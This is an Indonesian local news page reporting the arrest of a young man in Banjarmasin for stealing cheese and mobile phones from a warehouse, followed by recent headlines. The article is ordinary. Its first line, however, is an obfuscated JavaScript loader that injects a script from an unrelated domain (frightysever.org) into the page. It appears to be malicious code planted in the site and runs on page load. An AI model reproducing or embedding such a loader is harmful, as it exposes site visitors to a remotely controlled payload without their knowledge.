(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Curi 8 Dus Keju dan HP, DAF Tak Tahu Hendak Jual Kemana


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian dari Reskrim Polsek Banjarmasin Timur berhasil menangkap seorang lelaki yang terlibat dalam aksi pencurian di sebuah gudang barang di Jalan Veteran Gang Keramat 1 RT 17, Kelurahan Sungai Bilu, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

DAF (26) dibekuk karena diduga sebagai salah satu pelaku pencurian 8 dus keju dan 2 buah handphone yang nilainya mencapai Rp8 juta.

Kanit Reskrim Polsek Banjarmasin Timur, Ipda Partogi Hutahaean mengatakan pemuda tersebut ditangkap di kawasan Jalan Banua Anyar, Kecamatan Banjarmasin Timur pada Minggu (26/5/2024) sekitar pukul 23.20 Wita.

“Pelaku berhasil ditangkap adalah DAF, warga Jalan Veteran Gang Keramat 1 RT 17 Kecamatan Banjarmasin Timur,” ujar Kanit Reskrim Ipda Partogi.

Baca juga: 2025, Pemkab HSU Bakal Naikan Insentif Ustadz-Ustadzah TPA

Menurut Kanit Reskrim, pencurian tidak dilakukan DAF sendiri, melainkan bersama dua rekannya, yakni S dan A yang masih dalam pengejaran dan masuk dalam daftar pencarian orang (DPO).

“Dari pengakuan pelaku, ia melakukan aksinya bersama dua rekannya yang kini masih kami buru,” katanya.

Aksi pencurian, kata Partogi, diketahui setelah korban melaporkan kejadian ke Polsek Banjarmasin Timur.

Baca juga: Gelar FKP, Usaha Balai Besar Labkesmas Banjarbaru Tingkatan Pelayanan

Kejadiannya saat dini hari sekitar pukul 02.30 Wita ketika karyawan gudang sudah pulang, dan pada pagi harinya, saat karyawan masuk bekerja, pihaknya baru menyadari beberapa barang telah hilang.

Barang-barang yang hilang diantaranya, dua handphone merk Infinix dan delapan dus keju Cheddar olahan, dengan total kerugian sekitar Rp8,2 juta.

Tak butuh waktu, setelah mendapatkan laporan dari korban, polisi langsung bergerak dan berhasil mengamankan salah satu pelaku DAF beserta barang bukti 6 dus dan 8 kotak keju Cheddar olahan serta satu handphone merk ITEL.

Usai diamankan, pelaku DAF pun mengaku menyesal atas perbuatannya. Bahkan ia mengaku bahwa aksi yang dilakukannya itu juga dalam keadaan mabuk terpengaruh minuman keras.

Baca juga: Diduga Timbulkan Aroma Tak Sedap, DLH Banjarbaru Minta Aeris Hotel Cek IPAL

“Saya menyesal karena ini pertama kali saya lakukan. Saya juga tidak tahu hasil pencurian ini akan dikemanakan, saya hanya diajak oleh Supian,” ungkapnya.

Kini, DAF dan barang bukti telah dibawa ke Mapolsek Banjarmasin Timur untuk proses hukum lebih lanjut. Ia terancam dengan jeratan Pasal 363 KUHP tentang pencurian dengan pemberatan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

7 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

8 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

8 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

12 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

12 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

14 jam ago

This website uses cookies.